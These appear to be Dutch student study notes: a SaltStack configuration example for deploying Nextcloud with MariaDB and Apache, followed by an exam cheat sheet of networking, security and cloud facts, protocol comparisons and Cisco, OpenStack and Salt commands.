/srv/salt/nextcloud/init.sls     # include: mariadb en apache
/srv/salt/mariadb/init.sls
/srv/salt/apache/init.sls
/srv/pillar/top.sls
/srv/pillar/nextcloud.sls        # db_name, db_user, db_password

# /srv/salt/top.sls
base:
  'G@os:Rocky':
    - nextcloud
  'G@os:Windows':
    - windows

# /srv/salt/nextcloud/init.sls
include:
  - mariadb
  - apache
nextcloud-db:
  mysql_database.present:
    - name: {{ pillar['db_name'] }}
    - require:
      - service: mariadb
  • include: een state neemt andere states mee (de NextCloud-state include de database- en Apache-states).
  • require: zorgt dat een stap pas na een andere wordt uitgevoerd.
  • Pillardata gebruik je in een state met Jinja: {{ pillar['db_password'] }} of {{ salt['pillar.get']('db_password') }}.
  • nextcloud/init.sls is gelijk aan nextcloud.sls.
  • Werkwijze: eerst handmatig installeren in een snapshot; dan stap voor stap automatiseren, elke stap in een aparte state testen; als het werkt de geheimen naar een pillar verhuizen.

Troubleshooting

# op de minion
tail -f /var/log/salt/minion          # of /var/log/messages
salt-call --log-level=debug state.apply
# op de master
salt client.school.test state.apply mariadb     # één state los testen

Belangrijk voor productie maar niet voor deze cursus: een Git-fileserver-backend (versiebeheer van alle configuratie: geschiedenis en rollback) en een multistage deployment-infrastructuur volgens OTAP (Ontwikkel, Test, Acceptatie, Productie).

Herhaling

Spiekbrief

De dingen die je letterlijk moet kunnen opdreunen, per vak. Lees dit de avond voor de toets en doe daarna een proeftoets.

Getallen en poorten

WatWaarde
OSPF IP-protocol / AD89 / 110
OSPF multicast224.0.0.5 alle OSPF-routers · 224.0.0.6 DR/BDR · IPv6 FF02::5 en FF02::6
OSPF hello / dead10 s / 40 s (Ethernet, p2p) · 30 s / 120 s (NBMA)
OSPF reference bandwidth100 Mbps standaard · auto-cost reference-bandwidth in Mbps · bandwidth in kbps
OSPF cost T1 / 64 kbps64 / 1562 (bij 100 Mbps referentie)
OSPF priority0–255, standaard 1, 0 = nooit DR
Adjacencies zonder DRn(n−1)/2
GREIP-protocol 47 · ≥ 24 bytes overhead · RFC 2784
PPPoE MTU1492 (header 8 bytes)
PPP NCP-codesIPCP 8021 · IPv6CP 8057
CHAP debug-codes1 challenge · 2 response · 3 success · 4 failure
ACL-nummersStandaard 1–99 · extended 100–199 (en 2000–2699)
FTP / Telnet / SSH / HTTP / HTTPS / TFTPTCP 20+21 / TCP 23 / TCP 22 / TCP 80 / TCP 443 / UDP 69
ATM-cel53 bytes = 5 header + 48 payload
ISDN BRI / PRI2B + D (16 kb/s) / 23B + D (64 kb/s) = 1,544 Mb/s
T-carrierDS0 64 kb/s · T1 = 24 × DS0 = 1,544 Mb/s · T3 = 28 × DS1
SNMPUDP 161 (get/set) · 162 (traps)
SaltTCP 4505 (publisher) · 4506 (request/return) · states in /srv/salt/
FlaskStandaard 127.0.0.1:5000, debug False, geen SSL
MQTTTCP · 1883 / 8883 (TLS) · QoS 0, 1, 2
CoAPUDP · ~25 bytes vs. HTTP ~100 · DTLS
Base643 bytes → 4 tekens · 6 bits per teken · padding =
LoRaWAN EUI'sDevEUI, AppEUI (1.0.x), JoinEUI (1.1+): allemaal 64-bit
GDPR-melding datalekBinnen 72 uur
S3-durability99,999999999% (11 negens)
vCPU-vuistregel1 core ≈ 8 vCPU's (Hyper-V)
OpenStack2010, Rackspace + NASA · RDO Packstack (Red Hat, 2013, Puppet, answer file)
OAuth 2.0RFC 6749 (IETF) · 4 rollen · 4 grant types

Verwarrende paren

PaarVerschil
MQTT vs. CoAPPub/sub via broker over TCP vs. REST-achtig request/response over UDP
TLS vs. DTLSOver TCP vs. over UDP
LoRa vs. LoRaWANAlleen PHY vs. MAC-laag plus netwerk/platform
AppKey vs. NwkSKey/AppSKeyVooraf gedeelde rootsleutel vs. sessiesleutels na de join
IDS vs. SIEMDetecteert verdacht verkeer (signature/anomaly) vs. verzamelt en correleert logs van de hele omgeving
Standaard vs. extended ACLAlleen bron-IP, bij de bestemming vs. protocol/bron/bestemming/poort, bij de bron
ip access-group vs. access-class vs. ipv6 traffic-filterIPv4-ACL op interface vs. ACL op VTY-lijnen vs. IPv6-ACL op interface
PAP vs. CHAPTwo-way, plaintext, eenmalig vs. three-way, hash, periodiek
HDLC vs. PPPCisco-standaard, alleen Cisco-Cisco vs. open, met authenticatie, LQM, multilink
eBGP vs. iBGPTussen verschillende AS'en vs. binnen hetzelfde AS
Single-homed vs. multi-homedEén verbinding (geen BGP nodig) vs. meerdere AS'en (BGP)
Site-to-site vs. remote-access VPNHele netwerken via gateways vs. losse gebruikers met een client
Kabel vs. DSLGedeeld medium (CMTS/CM) vs. eigen lijn, afstandsgevoelig (DSLAM)
ABR vs. ASBRTussen areas vs. naar een extern netwerk
LSA 1/2/3/4/5Router · network (DR) · summary (ABR) · ASBR-summary (ABR) · external (ASBR)
O / O IA / O E2Intra-area · inter-area · extern
Local SPAN vs. RSPANZelfde switch vs. andere switch via een RSPAN-VLAN
DHCP-spoofing vs. -starvationValse server vs. alle adressen opmaken (DoS)
Scaling vs. elasticity (les 4)Up/down op huidige hardware vs. out/in met dynamisch extra of minder hardware
Horizontaal vs. verticaal schalenMeer machines (out/in) vs. grotere machine (up/down)
Cold / warm / hotAlles uit / DB aan, web en API uit / alles aan
Serie vs. parallel (beschikbaarheid)Beschikbaarheden vermenigvuldigen vs. onbeschikbaarheden vermenigvuldigen
Functional vs. non-functionalHoe het systeem functioneert vs. hoe de architectuur functioneert
OAuth 2.0 vs. OpenID Connect vs. SAMLAlleen autorisatie vs. + authenticatie en identiteit (ID token) vs. authN + authZ in XML
Access token vs. refresh tokenNaar de resource server, kort geldig vs. alleen naar de authorization server, voor een nieuw access token
Cinder vs. Swift vs. Glance vs. Nova-ephemeralBlock (persistent) vs. object vs. images vs. verdwijnt met de VM
EBS vs. instance storePersistent vs. ephemeral
OVF vs. OVAMap met bestanden vs. één bestand
Fixed vs. floating IPPrivé-IP van de instance vs. publiek IP dat je eraan koppelt
Total isolation / data isolation / data segregationEigen app en DB / gedeelde app, eigen DB / alles gedeeld, gescheiden op tenant
Grains vs. pillarsInfo van de minion vs. data (geheimen) van de master
require vs. watchVolgorde vs. volgorde plus reageren op wijziging
Declaratief vs. imperatiefEindtoestand beschrijven (Puppet, Salt) vs. stappen uitschrijven (Chef)
fetchone() vs. fetchall()Eén rij vs. lijst met alle rijen

Commando's om te herkennen

DoelCommando
OSPF-burenshow ip ospf neighbor
Router-ID, netwerken, ADshow ip protocols
Router-ID-wijziging actief makenclear ip ospf process
Default route in OSPFdefault-information originate (+ statische default route)
DR-voorkeurip ospf priority
OSPFv3 op interfaceipv6 ospf 10 area 0
PPP-authenticatieusername … password … + ppp authentication chap
BGProuter bgp · neighbor … remote-as · network … mask · show ip bgp summary
GREinterface tunnel · tunnel source · tunnel destination
PATip nat inside source list 1 interface g0/0/1 overload
ACL controlerenshow access-lists · show ip interface
SPANmonitor session 1 source/destination interface · show monitor
OpenStack-credentials ladensource keystonerc_admin
Open vSwitch-bridgesovs-vsctl show
Salt: keys / test / statesalt-key -L · salt '*' test.ping · salt '*' state.apply
Salt debuggen op de minionsalt-call --log-level=debug state.apply
SQLite-tabeldefinities.schema
MongoDBuse test · db.coll.find() · insertOne · updateOne(…, {$set: …})